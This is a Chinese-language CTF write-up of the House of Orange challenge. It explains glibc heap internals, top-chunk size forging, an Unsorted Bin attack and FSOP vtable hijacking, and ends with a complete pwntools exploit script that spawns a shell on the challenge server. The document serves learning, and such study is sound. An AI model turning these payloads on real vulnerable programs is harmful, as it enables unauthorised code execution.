Loading... 写到一半电脑死机了,什么都没了,气死 House of Orange 是很有名的一种利用方法,早有耳闻,这次准备研究一下。 ### quick FAQ Q:为什么我日不穿 XCTF-adword 的靶机! A:XCTF 提供的 libc **是错的** 解决方案:用 LibcSearcher。 *这个问题浪费了我 2-3 个小时:(。至于我是如何发现 libc 是错的,我会在文末提及。* ### 写在前面 本文有些地方会有一些地方插入了前置知识,我通过两条分割线来夹住这些前置知识,如果您已经了解,则可以跳过 ### StepⅠ 堆相关的利用 首先这种类型题目的特点是流程中没有使用 `free` 的机会,而我们一般的利用都需要使用到 `free`,此题的一大难点就是如何实现 `free` 的效果,做法是利用 `top_chunk`。 ptmalloc 尽力避免了使用 `mmap` 和 `brk` 两系统调用,但是总是会有剩余空间不够的情况存在。事实上,当 1. 申请的空间小于 `mmap` 分配阀值(默认为 128 KB,有些情况下可能会改变,比如[此题(和本题关系不大)](https://www.cjovi.icu/WP/1161.html)) 2. 所有的 `bin` 中都无法提供足够的空间 3. `top_chunk` 剩余的空间也无法满足申请 这种情况下,系统会调用 `brk` 来增大 `top_chunk`,并把旧的 `top_chunk` 放入到 `Unsorted Bin` 中。 我们如果想要实现 `free` 的效果,大概就是通过申请一个满足刚才所说的条件的 chunk 来让 `top_chunk` 进入 `Unsorted Bin`。但是在它进入 `Unsorted Bin` 前,还会经过如下的合法性检测 ``` assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0)); ``` * `(old_top == initial_top(av) && old_size == 0)` 不需要过多关心,这是检测 `top_chunk` 是否未初始化的,若未初始化则通过检测,但是我们利用时 `top_chunk` 当然是通过了初始化的。 * `(unsigned long) (old_size) >= MINSIZE` 这里是要保证 `top_chunk` 的 `size` 大于 `MINSIZE`(0x10),具体原因按下不表,我也不懂,反正这个是很好满足的 * `prev_inuse(old_top)` `top_chunk` 总是会前向合并,如果没有进行前向合并,自然是非法的,很好理解 * `(unsigned long)old_end & pagemask) == 0)` 由于 `top_chunk` 是按页分配的,所以 `chunk` 尾自然也应该页对齐。在伪造的时候这个是需要注意的。 一般的题目对空间申请都有设限,想要直接申请一个大于 `top_chunk` 剩余容量的空间是比较困难的,但是由于本题存在堆溢出的漏洞,我们可以修改 `top_chunk` 的 `size` 域来实现之前所说的条件。总结一下伪造的 `size` 需要满足的条件: 1. 伪造的 `size` 必须要使 `top_chunk` 尾与内存页对齐 2. `size` 要大于 `MINSIZE`(0x10) 3. `size` 要小于之后申请的 `chunk size` + `MINSIZE`(0x10) 4. `size` 的 `prev inuse` 位必须为 1 这个 `size` 是需要针对目标运行的机器进行调试才能得出的,在靶机上能跑通的分配策略在我的机器上无法跑通,反过来也是一样。下面提供能打通靶机环境(glibc 2.19)的一种方案 ```python payload = 'a' * 0x80 + p64(0) + p64(0x21) + p64(0x1f00000000) + p64(0) payload += p64(0) + p64(0xf31) upgrade(len(payload),payload) build(0x1000,'\n') build(0x400,'a' * 8) see() sh.recvuntil('a' * 8) main_arena = u64(sh.recv(6) + '\x00\x00') - 0x668 libc_base = main_arena - 0x3BE760 log.success("libc_base:" + hex(libc_base)) ``` 需要注意的是,Linux 的 `read` 函数并不遵守 C 中在字符串末尾加 `'\x00'` 的标准,所以我们写 8 个 `'a'` 进去就可以实现 leak 了。注意这里的 `build(0x400,'a' * 8)`,通过申请 0x400 大小的空间,我们可以获得一个本在 `Large Bin` 中的 chunk,这样可以通过再次 `upgrade` 实现堆地址的 leak --- #### 补充两个细节 ##### 1. 为什么申请 0x400 大小的空间可以获得一个本在 `Large Bin` 中的 chunk?此时 `Large Bin` 中不是没有 chunk 吗?不应该是从 `Unsorted Bin` 中获得吗? <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/323830238.png"></div> 可见这个时候 `Large Bin` 的确是空的。 要解决这个问题我们需要简单了解一下 ptmalloc 的分配流程 * 从 `fast bin` 中用 `best fit` 策略进行分配,如果成功,退出流程 * 从 `small bin` 中用 `best fit` 策略进行分配,如果成功,退出流程 * 到了这一步,说明 `fast bin` 和 `small bin` 中都不存在合适的 chunk,就会在 `Large Bin` 中尝试分配,但是不是直接分配,还要经过下面的流程 * 调用 `malloc_consolidate` 函数。这个函数做的就是把 `fast bin` 中所有的 `bin` 能合并的都合并掉,然后把整个 `fast bin` 中的 `bin` 都放到 `Unsorted Bin` 中。(这一步对本题来讲无用,因为本题的 `fast bin` 是空的) * 遍历 `Unsorted Bin`,对其中的每个 chunk 分为两种情况 * `small request`:存在合适的 chunk 就直接分割并分配,退出流程,否则就把当前的 chunk 放到其对应的 `bin` 中 * 非 `small request`:放到对应的 `bin` 中(本题就是利用了这里的机制获得了一个 `Large Bin` 的 chunk) * 尝试从 `Large Bin` 中分配(实际上我们获得的 chunk 就是从这里来的) 这样就解释清楚了申请 0x400 大小的空间的作用和原因。 ##### 2. 本在 `Large Bin` 中的 chunk 为什么能够 leak 出堆地址? 这个问题比较简单 ```cpp struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; ``` `Large Bin` 还用了 `fd_nextsize` 和 `bk_nextsize` 两个指针维护一个双链表,由于我们获得的 chunk 在 `Large Bin` 中的时候只有它一个 chunk,所以它的这两个指针都会指向自己,我们通过 ``` upgrade(0x10,'a' * 0x10) see() sh.recvuntil('a' * 0x10) heap_addr = u64(sh.recv(6).ljust(8,'\x00')) log.success("heap_addr" + hex(heap_addr)) ``` 就可以 leak 出堆地址。 --- 到这一步完成我们成功 leak 出了堆地址和 libc 基地址,现在我们 `upgrade` 和 `build` 都只剩下一次机会,通过常规的堆利用想要实现 getshell 比较困难,之后的利用需要用到 `_IO_FILE` 相关的知识。 ### StepⅡ _IO_FILE 有关利用 `_IO_FILE` 我还不是特别熟悉,因为源码还是没有仔细研究,这里就简单写一下。 本题利用的是 FSOP(File Stream Oriented Programming),基本思路是劫持结构体 `_IO_FILE_plus` 中维护的 `vtable` 中的函数指针来 getshell。 --- 首先说一下 `vtable`,这其实是 glibc 为了在 C 中实现多态而维护的一张虚表,在 glibc 2.24 之前的版本中这个虚表都是可伪造的,所以我们可以直接劫持函数指针,当调用到这个函数的时候就可以 getshell。 然后说一下 FSOP 的核心思想,由于 glibc 在维护文件时使用一个链表来维护,有一个变量作为文件链表的头节点,也就是 `_IO_list_all`,当进程执行 * `abort` 流程 * `exit` 流程 * 执行流从 `main` 返回 时都会自动调用 `_IO_flush_all_lockp` 函数,这个函数借助头节点 `_IO_list_all` 对链表中的节点遍历,过程中会调用其虚表中的 `_IO_overflow` 函数,所以如果我们劫持了某个 `vtable` 的这个函数指针,就可以实现 getshell 了。并且劫持了指针就可以坐等 getshell 了,因为这个函数基本上一定会被调用。 --- 总结一下,就是我们需要让文件链表中的某个结构体的 `vtable` 中的 `_IO_overflow` 指向 `system` 等同类函数 getshell。 现在的情况比较严苛,我们只有一次 `upgrade`(堆溢出)和一次申请的机会,想要通过分配实现任意地址写当然是困难的,但是却可以通过 FSOP 来实现,思路非常的巧妙。 #### 1.劫持 `_IO_list_all`——获得对文件链表的部分控制 通过 `Unsorted Bin Attack` 来把 `_IO_list_all` 指向 `&main_arena + 88`。 具体的,分配器在进入 `Unsorted Bin` 分配流程时,会把 `Unsorted Bin` 中的每个 chunk 都取出来,这个之前有提到过,不论是放到对应的 `bin` 中还是返回给用户,都是不会再留在链表中的,也就是说,会被取出链表,为了维护双向链表的完整性,会进行如下的操作(bck 是当前被取出的 chunk 的 `bk` 指向的 chunk,`unsorted_chunks (av)` 就是 `&main_arena + 88` 啦) ```cpp /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); ``` 如果提前设置某个 `Unsorted Bin` 中的 chunk 的 `bk` 指向 `_IO_list_all - 0x10`,那么这里的 `bck` 就会指向 `_IO_list_all - 0x10`,再利用 `bck->fd = unsorted_chunks (av);`,`_IO_list_all` 就会指向 `&main_arena + 88` 了。 #### 2.伪造一个可用的文件结构体 通过上一步操作,我们成功的把 `*((struct _IO_FILE_plus *) &main_arena + 88)` 变成了文件链表的首节点了。 --- ##### 结构体的构造 先看一下文件结构体的构造,`_IO_list_all` 维护的链表的每个节点都是一个 `_IO_FILE_plus` ``` struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; ``` 而 `_IO_FILE` 的结构是(我去掉了不会生效的宏定义) ``` struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t _freeres_size; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; size_t __pad5; # endif int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; #endif }; ``` 这里不用仔细看,有用的一些变量之后会说。 --- 然后考虑劫持 `_IO_overflow` 函数指针,遗憾的是,我们无法完全控制 `main_arena`,至少没法控制 `(*((struct _IO_FILE_plus *) &main_arena + 88)).vtable->_IO_overflow`。那么这个结构体就没法用了,但是我们还可以通过链表中的别的结构体来实现,由于文件链表每个节点的后继指针是 `struct _IO_FILE *_chain`,这个指针在结构体中的偏移是 `0x68`,也就是 `&main_arena + 88 + 0x68`,这个位置正好是 `smallbin[6]`,也就是指向大小为 `0x60` 的 `small bin`。总结一下就是在文件链表中,`(*((struct _IO_FILE_plus *) &main_arena + 88))` 的下一个文件节点是大小为 `0x60` 的 `small bin`。 那么如果在 `Unsorted Bin` 中有大小为 `0x60` 的 chunk,这个 chunk 就会被放入 `small bin` 中,由于 `small bin` 是空的,所以 `smallbin[6]` 会直接指向这个 chunk,这个 chunk 就成了一个在链表中的文件结构体。如果我们通过堆溢出把 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2663258192.png "></div> ` 这个 `Unsorted Bin` 的 `size` 修改为 `0x60`,它就会成为一个文件结构体了,对于这个 chunk 我们可以完全控制,就可以轻松的实现劫持了。 #### 3.收尾——一些需要注意的额外条件 完成上面的工作后,在文件链表中就会出现一个经过了我们伪造的 `_IO_FILE_plus` 了,但是这个伪造还是需要注意一些细节的。首先,`_IO_flush_all_lockp` 调用 `_IO_overflow` 的时机是在这个 `if` 中 ```cpp if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) ``` 根据短路求值原理,只有满足 ```cpp fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base ``` ```cpp _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) ``` 以上两种情况之一时才会调用 `_IO_overflow`,我们选用上面哪一种,因为比较好伪造,只要满足 * `_mode <= 0` * `_IO_write_ptr > _IO_write_base` 即可,那么伪造的方法是 ```cpp fake_chunk = '/bin/sh\x00' + p64(0x61) fake_chunk += p64(0) + p64(_IO_list_all_addr - 0x10) fake_chunk += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr fake_chunk = fake_chunk.ljust(0xc0,'\x00') #bypass lots of things fake_chunk += p32(0) #_mode<=0 fake_chunk += p32(0) + p64(0) * 2 #bypass _unused2 payload += fake_chunk payload += p64(heap_addr + 0x510) #vtable_addr payload += p64(0) * 3 #bypass three function ptr payload += p64(system_addr) ``` 为什么我们劫持 `_IO_overflow` 为 `system` 就能 getshell?因为 `_IO_overflow` 的第一个参数就是指向文件结构体自身头部的指针,所以我们把 `'/bin/sh\x00'` 写到伪造的结构体的顶部就可以实现传参了。 ### exp 总是感觉还有地方没说全,但是想不起来了,所以就这样吧 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * #context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] def build(size,payload): sh.sendlineafter("choice : ",'1') sh.sendlineafter("name :",str(size)) sh.sendafter("Name :",payload) sh.sendlineafter("Orange:",'0') sh.sendlineafter("Orange:",'1') def see(): sh.sendlineafter("choice : ",'2') def upgrade(size,payload): sh.sendlineafter("choice : ",'3') sh.sendlineafter("name :",str(size)) sh.sendafter("Name:",payload) sh.sendlineafter("Orange:",'0') sh.sendlineafter("Orange:",'1') #sh = process("./houseoforange") sh = remote("111.200.241.244",53791) #libc = ELF("/glibc/2.19/amd64/lib/libc-2.19.so") build(0x80,'lalala\n') payload = 'a' * 0x80 + p64(0) + p64(0x21) + p64(0x1f00000000) + p64(0) payload += p64(0) + p64(0xf31) upgrade(len(payload),payload) build(0x1000,'\n') build(0x400,'a' * 8) see() sh.recvuntil('a' * 8) main_arena = u64(sh.recv(6) + '\x00\x00') - 0x610 - 88 __malloc_hook_addr = main_arena - 0x20 libc = LibcSearcher("__malloc_hook",__malloc_hook_addr) libc_base = __malloc_hook_addr - libc.dump("__malloc_hook") _IO_list_all_addr = libc_base + libc.dump("_IO_list_all") system_addr = libc_base + libc.dump("system") log.success("libc_base:" + hex(libc_base)) upgrade(0x10,'a' * 0x10) see() sh.recvuntil('a' * 0x10) heap_addr = u64(sh.recv(6).ljust(8,'\x00')) log.success("heap_addr" + hex(heap_addr)) vtable_addr = heap_addr payload = 'a' * 0x400 + p64(0) + p64(0x21) + p64(0x1f00000000) + p64(0) fake_chunk = '/bin/sh\x00' + p64(0x61) fake_chunk += p64(0) + p64(_IO_list_all_addr - 0x10) fake_chunk += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr fake_chunk = fake_chunk.ljust(0xc0,'\x00') #bypass lots of things fake_chunk += p32(0) #_mode<=0 fake_chunk += p32(0) + p64(0) * 2 #bypass _unused2 payload += fake_chunk payload += p64(heap_addr + 0x510) #vtable_addr payload += p64(0) * 3 #bypass payload += p64(system_addr) #upgrade(len(payload),payload) #gdb.attach(proc.pidof(sh)[0]) upgrade(len(payload),payload) sh.sendlineafter("choice : ",'1') sh.interactive() ``` 注:这个 exp 是打 XCTF 的靶机的,对 BUU 的靶机可能需要微调。 ### 后记 #### 如何发现 libc 错误的? 过程曲折,由于我的虚拟机的 libc 版本是 2.27,我也只重新编译了 2.23 版本,所以我没法还原靶机环境,也就不知道 leak 出的地址应该减多少才能获得基地址,所以我就随便试了几个值凑到了低 12 位为零,这样当然是打不穿的。今天晚上实在是受不了了,又编译了一个 2.19 版本的 libc,调试了一下试试获得了正确的偏移,连靶机发现算出来的基地址低 12 位不是零,当时估计 libc 就是错的,用 LibcSearcher 一试,就打通了.. 总结:不能怕麻烦,否则可能会更麻烦 #### 评价题目 这道题做了 1 天多,基本上都是对着各位师傅的 WP 做的(我这么菜肯定是没法独立做出来的),做完之后首先是对 FSOP 有了初步的了解,对 ptmalloc 的分配机制也有了更深刻的认识,也纠正了一些错误的认识,题目非常好,让我学到了很多新知识。 这是我写的最长的 WP 啦 最后修改:2021 年 03 月 10 日 08 : 44 PM © 允许规范转载 赞赏 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付